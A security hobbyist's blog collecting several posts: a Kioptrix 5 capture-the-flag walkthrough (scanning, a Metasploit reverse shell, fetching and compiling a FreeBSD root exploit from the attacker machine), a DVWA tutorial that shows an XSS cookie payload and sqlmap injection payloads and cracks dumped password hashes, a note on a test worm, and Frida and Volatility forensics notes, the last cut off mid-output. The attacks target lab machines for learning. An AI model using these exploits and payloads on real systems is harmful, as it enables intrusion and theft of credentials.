Kioptrix 5: SOLUTION

I had some time this week and wanted to work on a vulnerable machine challenge. A while ago I had enjoyed working through the Kioptrix VMs but had never gotten a chance to work on the one released in 2014. So I decided that would be an excellent exercise for the evening. SPOILER ALERT: The rest of this post will provide a solution to this challenge.

First, it is worth mentioning that I had to remove and re-add the network card in order for the VM to grab an ip address. This is also mentioned on the Kioptrix VM blog.

My Setup:
Kali: 192.168.138.129
Kioptrix 5: 192.168.138.130


So we start with a good old fashion nmap scan.

 
root@kali:~# nmap -sV 192.168.138.130
Starting Nmap 6.46 ( http://nmap.org ) at 2014-09-08 21:57 EDT
Nmap scan report for 192.168.138.130
Host is up (0.00031s latency).
Not shown: 997 filtered ports
PORT     STATE  SERVICE VERSION
22/tcp   closed ssh
80/tcp   open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
8080/tcp open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
MAC Address: 00:50:56:3C:ED:6C (VMware)

So we notice what looks like a standard web server running, So time to navigate to the webpage and see what we got. Lets start with standard port 80.

Well that is rather disappointing! I was hoping for some type of login or input box. Lets check 8080.

That was more interesting but not very exciting either. Lets move to one of my favorite web scanners Nikto and scan both sites.

 
root@kali ~# nikto -h 192.168.138.130
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.138.130
+ Target Hostname:    192.168.138.130
+ Target Port:        80
+ Start Time:         2014-09-08 22:00:57 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8
+ Server leaks inodes via ETags, header found with file /, inode: 67014, size: 152, mtime: Sat Mar 29 13:22:52 2014
+ The anti-clickjacking X-Frame-Options header is not present.
+ mod_ssl/2.2.21 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ PHP/5.3.8 appears to be outdated (current is at least 5.4.26)
+ OpenSSL/0.9.8q appears to be outdated (current is at least 1.0.1e). OpenSSL 0.9.8r is also current.
+ Apache/2.2.21 appears to be outdated (current is at least Apache/2.4.7). Apache 2.0.65 (final release) and 2.2.26 are also current.
+ mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. CVE-2002-0082, OSVDB-756.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE 
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST

root@kali ~# nikto -h 192.168.138.130:8080
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.138.130
+ Target Hostname:    192.168.138.130
+ Target Port:        8080
+ Start Time:         2014-09-08 22:45:47 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8
+ The anti-clickjacking X-Frame-Options header is not present.
+ All CGI directories 'found', use '-C none' to test none
+ mod_ssl/2.2.21 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ PHP/5.3.8 appears to be outdated (current is at least 5.4.26)
+ OpenSSL/0.9.8q appears to be outdated (current is at least 1.0.1e). OpenSSL 0.9.8r is also current.
+ Apache/2.2.21 appears to be outdated (current is at least Apache/2.4.7). Apache 2.0.65 (final release) and 2.2.26 are also current.
+ mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. CVE-2002-0082, OSVDB-756.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ 22376 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time:           2014-09-08 22:49:51 (GMT-4) (244 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

At first look there appears to be a possibility with CVE-2002-0082, OSVDB-756. Also a flashback to Kioptrix 1. But after some investigating you will find these exploits will not work here. Bummer. As I often do when Im working through a test like this, I went back and ran the same scans again. They all produced the same results as expected, however this time it caught my attention how long they were taking to run. Nikto is a very fast scanner and this is on an isolated network, yet these scans were taken a very long time to execute to run. Why? What if the scan is getting filtered? Nikto identifies itself in the user agent field when scanning and this is a configurable field. Lets try and change it. This took some time, however I ran the same test with several different user agents until BINGO found something different! I used useragentstrings.com to get a list of user agents to try. Check the results below when I used an IE6 user agent string on 8080:

nikto.conf
....
# User-Agent variables:
 # @VERSION     - Nikto version
 # @TESTID      - Test identifier
 # @EVASIONS    - List of active evasions
#USERAGENT=Mozilla/5.00 (Nikto/@VERSION) (Evasions:@EVASIONS) (Test:@TESTID)
USERAGENT=Mozilla/4.0 (Compatible; Windows NT 5.1; MSIE 6.0) (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)

...

root@kali:~# nikto -h http://192.168.138.130:8080
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.138.130
+ Target Hostname:    192.168.138.130
+ Target Port:        8080
+ Start Time:         2014-09-09 19:02:08 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8
+ The anti-clickjacking X-Frame-Options header is not present.
+ OSVDB-3268: /: Directory indexing found.
+ mod_ssl/2.2.21 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ PHP/5.3.8 appears to be outdated (current is at least 5.4.26)
+ OpenSSL/0.9.8q appears to be outdated (current is at least 1.0.1e). OpenSSL 0.9.8r is also current.
+ Apache/2.2.21 appears to be outdated (current is at least Apache/2.4.7). Apache 2.0.65 (final release) and 2.2.26 are also current.
+ mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. CVE-2002-0082, OSVDB-756.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE 
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-3268: /./: Directory indexing found.
+ OSVDB-3268: /?mod=node&nid=some_thing&op=view: Directory indexing found.
+ OSVDB-3268: /?mod=some_thing&op=browse: Directory indexing found.
+ /./: Appending '/./' to a directory allows indexing
+ OSVDB-3268: //: Directory indexing found.
+ //: Apache on Red Hat Linux release 9 reveals the root directory listing by default if there is no index page.
+ OSVDB-3268: /?Open: Directory indexing found.
+ OSVDB-3268: /?OpenServer: Directory indexing found.
+ OSVDB-3268: /%2e/: Directory indexing found.
+ OSVDB-576: /%2e/: Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. http://www.securityfocus.com/bid/2513.
+ OSVDB-3268: /?mod=alert(document.cookie)&op=browse: Directory indexing found.
+ OSVDB-3268: /?sql_debug=1: Directory indexing found.
+ OSVDB-3268: ///: Directory indexing found.
+ OSVDB-3268: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: Directory indexing found.
+ OSVDB-3268: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: Directory indexing found.
+ OSVDB-3268: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: Directory indexing found.
+ OSVDB-3268: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: Directory indexing found.
+ OSVDB-3268: /?PageServices: Directory indexing found.
+ OSVDB-119: /?PageServices: The remote server may allow directory listings through Web Publisher by forcing the server to show all files via 'open directory browsing'. Web Publisher should be disabled. CVE-1999-0269.
+ OSVDB-3268: /?wp-cs-dump: Directory indexing found.
+ OSVDB-119: /?wp-cs-dump: The remote server may allow directory listings through Web Publisher by forcing the server to show all files via 'open directory browsing'. Web Publisher should be disabled. CVE-1999-0269.
+ OSVDB-3268: ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////: Directory indexing found.
+ OSVDB-3288: ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////: Abyss 1.03 reveals directory listing when   /'s are requested.
+ OSVDB-3268: /?pattern=/etc/*&sort=name: Directory indexing found.
+ OSVDB-3268: /?D=A: Directory indexing found.
+ OSVDB-3268: /?N=D: Directory indexing found.
+ OSVDB-3268: /?S=A: Directory indexing found.
+ OSVDB-3268: /?M=A: Directory indexing found.
+ OSVDB-3268: /?\">alert('Vulnerable');: Directory indexing found.
+ OSVDB-3268: /?_CONFIG[files][functions_page]=http://cirt.net/rfiinc.txt?: Directory indexing found.
+ OSVDB-3268: /?npage=-1&content_dir=http://cirt.net/rfiinc.txt?&cmd=ls: Directory indexing found.
+ OSVDB-3268: /?npage=1&content_dir=http://cirt.net/rfiinc.txt?&cmd=ls: Directory indexing found.
+ OSVDB-3268: /?show=http://cirt.net/rfiinc.txt??: Directory indexing found.
+ OSVDB-3268: /?-s: Directory indexing found.
+ OSVDB-3268: /?q[]=x: Directory indexing found.
+ 7356 requests: 0 error(s) and 44 item(s) reported on remote host
+ End Time:           2014-09-09 19:04:01 (GMT-4) (113 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Now we are getting somewhere! Looks like there is more to this website than meets the eye. Now lets navigate to the website using user agent switcher plugin for iceweasel.

Interesting we have a new directory to look at. When you click on it you find a webapp.
Now I had never heard of "phptax" so my first instinct was to run it through searchsploit.

root@kali:/var/www# searchsploit phptax
...
phptax 0.8 - Remote Code Execution Vulnerability                                                                                                      | /php/webapps/21665.txt
PhpTax pfilez Parameter Exec Remote Code Injection                                                                                                    | /php/webapps/21833.rb
PhpTax 0.8 - File Manipulation(newvalue                                                                                                               | /php/webapps/25849.txt

Sure enough, looks like there is remote code execution. Upon looking at the ruby file, it appears there is aleady a metasploit module! Even better. Time to switch over to metasploit. After some small configuration BAM we got a shell!

msf payload(reverse_tcp) > use exploit/multi/http/phptax_exec 
msf exploit(phptax_exec) > show options

Module options (exploit/multi/http/phptax_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        Use a proxy chain
   RHOST      192.168.138.130  yes       The target address
   RPORT      8080             yes       The target port
   TARGETURI  /phptax/         yes       The path to the web application
   VHOST                       no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   PhpTax 0.8


msf exploit(phptax_exec) > exploit

[*] 192.168.138.1308080 - Sending request...
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo Iam34x4WAqVYQ4PL;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Command: echo jIkHJaahsxxiLarm;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "Iam34x4WAqVYQ4PL\r\n"
[*] Matching...
[*] A is input...
[*] Reading from socket B
[*] B: "jIkHJaahsxxiLarm\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.138.129:4444 -> 192.168.138.130:57006) at 2014-09-09 21:20:00 -0400
[*] Command shell session 2 opened (192.168.138.129:4444 -> 192.168.138.130:28179) at 2014-09-09 21:20:00 -0400

ls
data
drawimage.php
files
icons.inc
index.php
maps
pictures
readme
ttf
whoami
www

Now we are on the box, but not root. Time todo some recon on the box.

uname -a
FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan  3 07:46:30 UTC 2012     root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  amd64

FreeBSD 9, ok back to searchsploit. I get alot of results, but one in particular interested me, 28718.

root@kali ~# searchsploit freebsd 9
....
FreeBSD 9.1 ftpd Remote Denial of Service    | /freebsd/dos/24450.txt
FreeBSD 9.0-9.1 mmap/ptrace - Privilege Escl | /freebsd/local/26368.c
FreeBSD 9 Address Space Manipulation Privile | /freebsd/local/26454.rb
FreeBSD 9.0 - Intel SYSRET Kernel Privilege  | /freebsd/local/28718.c
FreeBSD <= 7.1 libc Berkley DB Interface Uni | /freebsd/local/32946.c
....

So great there is a local privilege escalation, but that means we need to get the exploit onto the box and be able to compile it. Doing some more poking around I am able to determine, I have gcc, and can write to the directory I am currently in, however how am I going to get the file there? My first thought is web server, however I don't seem to have wget or curl. A quick Google search revealed a command called "fetch" on freeBSD that would accomplish the same thing. So I hosted the exploit on Kali's web server and used fetch to pull it down.

fetch http://192.168.138.129/28718.c
28718.c                                               5565  B   31 MBps
ls
28718.c
data
drawimage.php
files
icons.inc
index.php
maps
pictures
readme
testfile
ttf

Now time to compile, run and hope that it works.

gcc 28718.c -o sploit
ls
28718.c
data
drawimage.php
exploit.php
files
icons.inc
index.php
maps
pictures
readme
sploit
testfile
ttf
./sploit
[+] SYSRET FUCKUP!!
[+] Start Engine...
[+] Crotz...
[+] Crotz...
[+] Crotz...
[+] Woohoo!!!
whoami
root

WOOT! The exploit worked and now we have root. Mission complete.

Wanderer

I was on a test event where we wanted to test the incident response system against several different types of malware. The customer was against using live malware so I developed a "worm" like application. It propagates through the networking looking for Windows boxes which have left the Admin share open. It uses a method like PSExec to move and install itself on each box as a service. This provided a great way test malware behavior without doing anything very malicious. I did add an option which allowed for a payload to be attached to the worm. This allowed me to use Wanderer to test other malware scenarios as well. Checkout my GitHub page for more details and the code. I hope to continue development to make improvements and add more features.

Sqlmap and Passwords

Hello! It has been awhile since I have found the time to post. I am in a transition period of relocating and starting a new job, which has eaten most of my free time. In an effort to stay prepared for anything my new job will throw at me, I have gone back and started reviewing certain skills and tools I haven't visited in awhile. Through my wandering of the very large list of tools and concepts pentesters and reverse engineers need to be familiar with I found myself playing with sqlmap again. Sqlmap is an awesome tool used to find and exploit both regular and blind sql injection. Sqlmap is of course packaged in the pentesting distro Kali Linux.

In my tinkering, I ran across a feature I have either forgotten about or not seen sqlmap do before and thought I would share. This is the ability of sqlmap to crack passwords hashes pulled out of a database on the fly. Pretty cool! I have used sqlmap to find injections and pull data from databases several times before, put didn't remember it cracked passwords too. In order to see this in action you will need two Virtual Machines (VMs) setup; Kali Linux and Damn Vulnerable We Application (DVWA). In case you are not familiar, DVWA is part of OWASP's Broken Web Application Project which is highly vulnerable to all the major kinds of web app vulnerabilities. Great for testing and learning the basics. (or in this case a demo)

I will assume for time sake my readers know how to get both of these VMs up and running. I will also assume for this post the reader has basic understanding of sql injection. If you have trouble feel free to message me and I will try to help. I have my VM setup with the security level on "low" for this post. In Kali, navigate to the DVWA page, login as "user" and navigate to the "sql injection" section. It should look like the image below.

Now we need to gather some information to provide sqlmap. First, enter any value in the "User id" field and click "Submit" Take notice to the new url. You will notice the "id" parameter is now in the url and is set to the value you put in the id field. This is the url you will be giving sqlmap to test for sql injection. It should look like the image below.

Copy this to a text file and save it for later. Since we had to authenticate to get to this page the other big item we will need to give sqlmap is our cookie. There are a ton of different ways to obtain this information, but just for fun lets use XSS to get it. Two web app hacks in one post! Click on the "XSS reflect" link on the left side of the page. In the field that says "Whats your name?" type the following, removing the "." in the script tags. (Didn't want this to execute on this page)

<.script>alert(document.cookie)<./script>

. You should get a message box that has your current authentication cookie in it, like the image below.

Copy out the information in the message box and save it. Now move over to the Kali VM and open up a terminal window. Confirm sqlmap is installed and working by typing "sqlmap" you should get an error showing the options needed to run. Even though we know this website by design is vulnerable to sql injection lets confirm first. Do this with the information we saved by using the "-u" option to provide the url and the "--cookie" option to provide the cookie we saved. Note for the cookie you only need the "PHPSESSID" and the "security" cookies. Upon execution the output should look close to what is below

 
root@kali:~# sqlmap -u "http://192.168.1.16/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=9cgi3tlnkt5iuv6ej2b36s6uf2; security=low"

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 22:47:35

[22:47:35] [INFO] testing connection to the target URL
[22:47:35] [INFO] testing if the target URL is stable. This can take a couple of seconds
[22:47:36] [INFO] target URL is stable
[22:47:36] [INFO] testing if GET parameter 'id' is dynamic
[22:47:36] [WARNING] GET parameter 'id' does not appear dynamic
[22:47:36] [INFO] heuristics detected web page charset 'ascii'
[22:47:36] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[22:47:36] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] 
[22:47:40] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:47:40] [WARNING] reflective value(s) found and filtering out
[22:47:41] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Surname: admin")
[22:47:41] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[22:47:41] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable 
[22:47:41] [INFO] testing 'MySQL inline queries'
[22:47:41] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[22:47:41] [WARNING] time-based comparison requires larger statistical model, please wait............                                                                                   
[22:47:41] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[22:47:41] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[22:47:51] [INFO] GET parameter 'id' seems to be 'MySQL > 5.0.11 AND time-based blind' injectable 
[22:47:51] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[22:47:51] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[22:47:51] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[22:47:52] [INFO] target URL appears to have 2 columns in query
[22:47:52] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection points with a total of 42 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 4946=4946 AND 'UwuJ'='UwuJ&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=1' AND (SELECT 3237 FROM(SELECT COUNT(*),CONCAT(0x7177767171,(SELECT (CASE WHEN (3237=3237) THEN 1 ELSE 0 END)),0x71676e6771,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'SWoz'='SWoz&Submit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x7177767171,0x4f58416672464879414a,0x71676e6771)#&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1' AND SLEEP(5) AND 'ixMc'='ixMc&Submit=Submit
---
[22:47:57] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5.0
[22:47:57] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/192.168.1.16'

[*] shutting down at 22:47:57

Now normally you would go through the process of determining the databases (--dbs), the tables (--tables -D "dvwa") and the columns (--columns -T "users") before you would be able to get to the passwords. I am going to jump ahead and skip to the portion with the passwords, since I have already determined this other information. I wanted to dump all the data in the "users" tables. Todo this I used the following command. "sqlmap -u "http://192.168.1.16/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=9cgi3tlnkt5iuv6ej2b36s6uf2; security=low" -p "id" --dump -T "users"" First sqlmap analyzed the data and recognized that hashes were present and asked if I wanted to store them in a separate file:

 
[22:56:02] [INFO] fetching current database
[22:56:02] [INFO] fetching columns for table 'users' in database 'dvwa'
[22:56:02] [INFO] fetching entries for table 'users' in database 'dvwa'
[22:56:02] [WARNING] reflective value(s) found and filtering out
[22:56:02] [INFO] analyzing table dump for possible password hashes
[22:56:02] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[22:56:14] [INFO] writing hashes to a temporary file '/tmp/sqlmaphashes-bnhds5.txt' 

Then sqlmap asks if I wanted to attempt to crack them! Yes please!

do you want to crack them via a dictionary-based attack? [Y/n/q] 
[22:56:21] [INFO] using hash method 'md5_generic_passwd'

It then asks what dictionary to use, I choose the default and not to use suffixes since it is a lot slower.

what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 
[22:56:26] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] 
[22:56:30] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[22:56:40] [INFO] cracked password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'                                                                                                 
[22:56:40] [INFO] cracked password 'admin' for hash '21232f297a57a5a743894a0e4a801fc3'                                                                                                  
[22:56:44] [INFO] cracked password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'                                                                                                
[22:56:54] [INFO] cracked password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'                                                                                                
[22:56:58] [INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'                                                                                               
[22:57:05] [INFO] cracked password 'user' for hash 'ee11cbb19052e40b07aac0ca060c23ee'                                                                                                   
[22:57:05] [INFO] postprocessing table dump                                                                                                                                             

Then of course it dumped the table and saved it for me.

Database: dvwa
Table: users
[6 entries]
+---------+---------+-----------------------------------------------------+---------------------------------------------+-----------+------------+
| user_id | user    | avatar                                              | password                                    | last_name | first_name |
+---------+---------+-----------------------------------------------------+---------------------------------------------+-----------+------------+
| 1       | admin   | http://192.168.1.16/dvwa/hackable/users/admin.jpg   | 21232f297a57a5a743894a0e4a801fc3 (admin)    | admin     | admin      |
| 2       | gordonb | http://192.168.1.16/dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     |
| 3       | 1337    | http://192.168.1.16/dvwa/hackable/users/1337.jpg    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       |
| 4       | pablo   | http://192.168.1.16/dvwa/hackable/users/pablo.jpg   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      |
| 5       | smithy  | http://192.168.1.16/dvwa/hackable/users/smithy.jpg  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        |
| 6       | user    | http://192.168.1.16/dvwa/hackable/users/1337.jpg    | ee11cbb19052e40b07aac0ca060c23ee (user)     | user      | user       |
+---------+---------+-----------------------------------------------------+---------------------------------------------+-----------+------------+

[22:57:05] [INFO] table 'dvwa.users' dumped to CSV file '/usr/share/sqlmap/output/192.168.1.16/dump/dvwa/users.csv'
[22:57:05] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/192.168.1.16'

[*] shutting down at 22:57:05

Also notice when it dumped the table, it inserted the password next to the hash. Hope you find this feature as useful as I did. Please comment with any questions or thoughts.

Memory Forensics Part 2

During my memory forensic tasking I ran into a very useful python module called Frida . Frida allows a user to manipulate memory in real time. It provides the same type of ability and functionality as Volatility plus more but in a python module. Frida has a lot of really cool features like allowing the injection of custom Javascript into a process to provide debugging. I plan to play with the javascript injection and post about that process at a later date. Below is a script I wrote just to learn how to use some of the basics. I am aware the script itself is rather useless, but it shows how to use Frida to interact with processes and use some of the basic functions.

#! /usr/bin/env python
import sys
import argparse
import frida

def parseOptions():
 parser=argparse.ArgumentParser(description="Provides interactive prompt to use basic frida functions on running process")
 parser.add_argument(dest="pid",action="store",type=int,help="Process ID of process to attach too",metavar="PID")
 args = parser.parse_args()
 return args

if __name__=='__main__':

 #parse options
 options = parseOptions()

 try:
  p = frida.attach(options.pid)
  print "Attached to process."
 except SystemError as err:
  print("Could not attach to process: {}".format(err))
  sys.exit(-1)
 
 exit=False

 while(exit==False):
  print "-------------------"
  print "Available Commands:"
  print "--------------------"
  print " listModules"
  print " enumRanges"
  print " readBytes"
  print " exit"

  inputString = raw_input("--> ")
  
  if inputString == "listModules":
   try:
    print([x.name for x in p.enumerate_modules()])
   except Exception as err:
    print("Could not enumerate modules: {}".format(err))

  elif inputString == "enumRanges":
   perms = raw_input("Please enter mask for memory space searching for. (ie. rwx,r-w,r--,r-x,etc):")
   try:
    print(p.enumerate_ranges(perms))
   except Exception as err:
    print("Could not enumerate ranges: {}".format(err))
  elif inputString == "readBytes":
   try:
    add = int(raw_input("Please enter address: (0xfffffff): "),16)
    num = int(input("Please enter number of bytes to read: "))
    outFormat = raw_input("Please enter format to display memory (ascii or hex): ")
    print p.read_bytes(add,num).encode(outFormat)
   except Exception as err:
     print("Could not read bytes: {}".format(err))
  elif inputString == "exit":
   exit=True
  else:
   print "Bad input. Try again"
 print "Detaching from process"
 p.detach()

Another tool I ran into is called Memoryze by Mandiant. I was able to pull and memory image from a Windows machine while it was running. I then fed this memory image into Volatility for analysis. Very easy to use and thought it deserved a shoot out.

Volatility and Linux

I have recently had a task at work which required me to preform memory forensics on a Linux virtual machine (VM). I have done a little memory forensics before but mostly on Windows machines. This was a perfect opportunity to take a deeper dive into memory forensics on Linux. You can't talk about memory forensics without Volatility! Volatility is once again written in python and one of my favorite tools. It can be used to analyze memory from Windows,Mac, Linux and Android. Volatility can be found here.

Setup

For this blog, I am using version 2.3.1 of Volatility on Mac running Lion. After downloading Volatility and unpacking it, you can run it simply by running the "python vol.py" or "./vol.py" in the volatility directory. Upon your first run depending on your setup, you may be missing a few python modules. I was missing the crypto which was easily fixed by using "easy_install".

 Volatility uses something called profiles for each type of operating system (os). These profiles tells Volatility how to understand the memory image it is inspecting. For Windows most of these profiles are pre-built into Volatility making Windows analysis setup pretty easy. However we are looking to analysis a Linux system so we need to build a profile. For this example, we are going to analysis a 64 bit Fedora 16 VM running 3.6.11-4.fc16.x86_64 kernel.

 To create a profile you must obtain two files from the machine you are looking to analyze: the System.map file, and a “module.dwarf” file. Obtaining the System.map file is as easy as navigating to the “/boot” directory and copying it. The “module.dwarf” file requires a few extra steps. First you must install the dwarf library. On Fedora this is done by using “yum install libdwarf-tools”. Once libdwarf is install you need to put a copy of volatility onto the Fedora machine. Unpack volatility and navigate to the “volatility-2.3.1/tools/linux” directory and execute “make.” This will build a module.dwarf file for this version of Fedora. Copy this file off the Fedora VM and combine it with the System.map file in a zip bundle. The name of the zip bundle does not make a difference to volatility, however you will want to name it something descriptive, like fedora16profile.zip. This zip file needs to be placed in “volatility/plugins/overlays/linux/fedora16profile.zip”

 With a profile created, it is now possible to analyze memory from this Fedora machine. There are several ways to pull a memory images from a VM, however it is easiest, in my opinion, to analysis the “.mem” file created when a VM is in a suspended state. So first lets suspend the VM so volatility can be run on the “.vmem” file.

The first step is to ensure the profile created is loading into volatility, and volatility associates this profile with the image. Technically volatility should auto detect which type of profile to use, however in order to avoid confusion and other issues, the specific profile can be specified. If the help function can be loaded while specifying the profile without error, this is a very good indicator that everything is functioning properly.

 First we need to determine what the name of the profile is that was just created according to volatility. This can be done using the "--info" option. As seen in the output below Volatility will print out all the profiles it is aware of. If the profile you just created does not exist in the list, you probably have your zip profile in the wrong directory or the wrong files in the zip package.

python vol.py -f Fedora-64.vmem --info                                                                                          
Volatility Foundation Volatility Framework 2.3.1

...

Profiles
--------
Linuxfedora16profilex64 - A Profile for Linux fedora16profile x64
VistaSP0x64             - A Profile for Windows Vista SP0 x64
VistaSP0x86             - A Profile for Windows Vista SP0 x86
VistaSP1x64             - A Profile for Windows Vista SP1 x64
VistaSP1x86             - A Profile for Windows Vista SP1 x86
VistaSP2x64             - A Profile for Windows Vista SP2 x64
VistaSP2x86             - A Profile for Windows Vista SP2 x86
Win2003SP0x86           - A Profile for Windows 2003 SP0 x86
Win2003SP1x64           - A Profile for Windows 2003 SP1 x64
Win2003SP1x86           - A Profile for Windows 2003 SP1 x86
Win2003SP2x64           - A Profile for Windows 2003 SP2 x64
Win2003SP2x86           - A Profile for Windows 2003 SP2 x86
Win2008R2SP0x64         - A Profile for Windows 2008 R2 SP0 x64
Win2008R2SP1x64         - A Profile for Windows 2008 R2 SP1 x64
Win2008SP1x64           - A Profile for Windows 2008 SP1 x64
Win2008SP1x86           - A Profile for Windows 2008 SP1 x86
Win2008SP2x64           - A Profile for Windows 2008 SP2 x64
Win2008SP2x86           - A Profile for Windows 2008 SP2 x86
Win7SP0x64              - A Profile for Windows 7 SP0 x64
Win7SP0x86              - A Profile for Windows 7 SP0 x86
Win7SP1x64              - A Profile for Windows 7 SP1 x64
Win7SP1x86              - A Profile for Windows 7 SP1 x86
WinXPSP1x64             - A Profile for Windows XP SP1 x64
WinXPSP2x64             - A Profile for Windows XP SP2 x64
WinXPSP2x86             - A Profile for Windows XP SP2 x86
WinXPSP3x86             - A Profile for Windows XP SP3 x86
...

In the output below you will notice we are passing the “.vmem” file from the virtual machine using the “ –f ” option along with specifying the profile using the “--profile” option and “–h” for the man page.

python vol.py -f Fedora-64.vmem --profile=Linuxfedora16profilex64 -h   
                                                          
Volatility Foundation Volatility Framework 2.3.1
Usage: Volatility - A memory forensics analysis platform.

Options:
